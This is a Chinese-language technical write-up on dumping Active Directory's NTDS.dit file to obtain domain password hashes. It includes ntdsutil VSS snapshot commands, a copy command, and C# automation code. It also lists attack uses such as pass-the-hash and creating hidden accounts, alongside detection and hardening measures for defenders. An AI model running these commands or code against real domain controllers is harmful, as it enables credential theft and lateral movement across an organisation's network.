Sharp4GetNTDS:提取 NTDS 文件获取 Windows 域环境资产信息
字数 1527 2025-08-29 22:41:10
Sharp4GetNTDS:NTDS.dit文件提取与域环境资产信息获取技术详解
1. NTDS.dit文件概述
NTDS.dit(NT Directory Services - Directory Information Tree)是Active Directory的核心数据库文件,基于Extensible Storage Engine(ESE)存储引擎,包含域环境中最关键的信息:
- 所有域用户与计算机账户
- 密码哈希(NTLM、Kerberos keys)
- 组织单位(OU)结构
- 群组关系
- 域控策略和信任关系
文件位置:通常位于域控制器上的%SystemRoot%\NTDS\NTDS.dit
相关文件:
- edb.log:事务日志文件
- edb.chk:检查点文件
- temp.edb:临时数据库文件
访问限制:这些文件在系统运行时被锁定,无法直接复制
2. NTDS.dit提取方法
2.1 使用ntdsutil.exe工具
ntdsutil.exe是Windows内置的Active Directory管理工具,路径通常为:
%SystemRoot%\System32\ntdsutil.exe
2.1.1 创建VSS快照
ntdsutil "activate instance ntds" snapshot create quit quit
执行成功后,系统会创建NTDS.dit的VSS快照副本
2.1.2 挂载快照
ntdsutil snapshot mount {GUID} quit quit
挂载成功后,系统会返回类似C:\$SNAP_202503281528_VOLUMEC$的路径
2.1.3 复制NTDS.dit文件
copy C:\$SNAP_202503281528_VOLUMEC$\windows\NTDS\ntds.dit C:\Windows\Temp\ntds.dit
2.2 自动化提取实现(.NET代码分析)
以下是一个自动化提取NTDS.dit的.NET程序关键逻辑:
- 创建快照:
ProcessStartInfo startInfo = new ProcessStartInfo();
startInfo.FileName = "ntdsutil.exe";
startInfo.Arguments = "activate instance ntds snapshot create quit quit";
startInfo.RedirectStandardOutput = true;
startInfo.UseShellExecute = false;
Process process = Process.Start(startInfo);
string output = process.StandardOutput.ReadToEnd();
-
提取快照GUID:
使用正则表达式从输出中提取快照GUID -
挂载快照:
startInfo.Arguments = $"snapshot mount {snapshotGuid} quit quit";
Process mountProcess = Process.Start(startInfo);
string mountOutput = mountProcess.StandardOutput.ReadToEnd();
- 复制文件:
string sourcePath = Path.Combine(mountPoint, "windows", "NTDS", "ntds.dit");
string destPath = Path.Combine(Environment.GetEnvironmentVariable("windir"), "Temp", "ntds.dit");
File.Copy(sourcePath, destPath, true);
3. NTDS.dit文件分析
3.1 使用DIT Explorer工具
DIT Explorer是一个.NET编写的Windows应用程序,专门用于浏览和分析NTDS.dit文件
主要功能:
- 查看域用户和计算机账户
- 提取密码哈希
- 分析组关系
- 查看组织单位结构
3.2 提取的关键信息
-
用户账户信息:
- SAM账户名
- 用户SID
- 描述信息
- 最后登录时间
-
密码哈希:
- NTLM哈希
- Kerberos密钥
- 密码历史记录(如果启用)
-
组关系:
- 全局组
- 域本地组
- 通用组
- 嵌套组成员关系
-
信任关系:
- 域间信任
- 信任类型
- 信任方向
4. 攻防对抗技术
4.1 攻击面
-
横向移动:
- 使用提取的哈希进行Pass-the-Hash攻击
- Kerberos票据重放
-
权限提升:
- 分析特权组关系寻找提权路径
- 识别服务账户密码重用
-
持久化:
- 创建隐藏账户
- 修改组策略
4.2 防御措施
-
监控与检测:
- 监控ntdsutil.exe异常使用
- 检测VSS快照创建活动
- 审计域控制器上的文件访问
-
保护措施:
- 限制对域控制器的管理访问
- 实施凭证保护(如LSA保护)
- 启用Windows Defender Credential Guard
-
应急响应:
- 定期备份NTDS.dit用于取证
- 监控异常认证活动
- 实施密码哈希轮换
5. 技术总结
NTDS.dit文件作为Active Directory的核心数据库,包含了域环境的完整信息架构。通过VSS快照技术可以绕过文件锁定限制获取该文件,进而提取域内所有账户的密码哈希和安全信息。这一技术在红队渗透测试中具有极高价值,同时也是蓝队需要重点防御的攻击路径。
关键点总结:
- NTDS.dit存储了域环境的完整信息架构
- VSS快照技术可以绕过文件锁定限制
- ntdsutil.exe是合法的管理工具但可被滥用
- 提取的哈希可用于多种攻击技术
- 防御需要多层防护和持续监控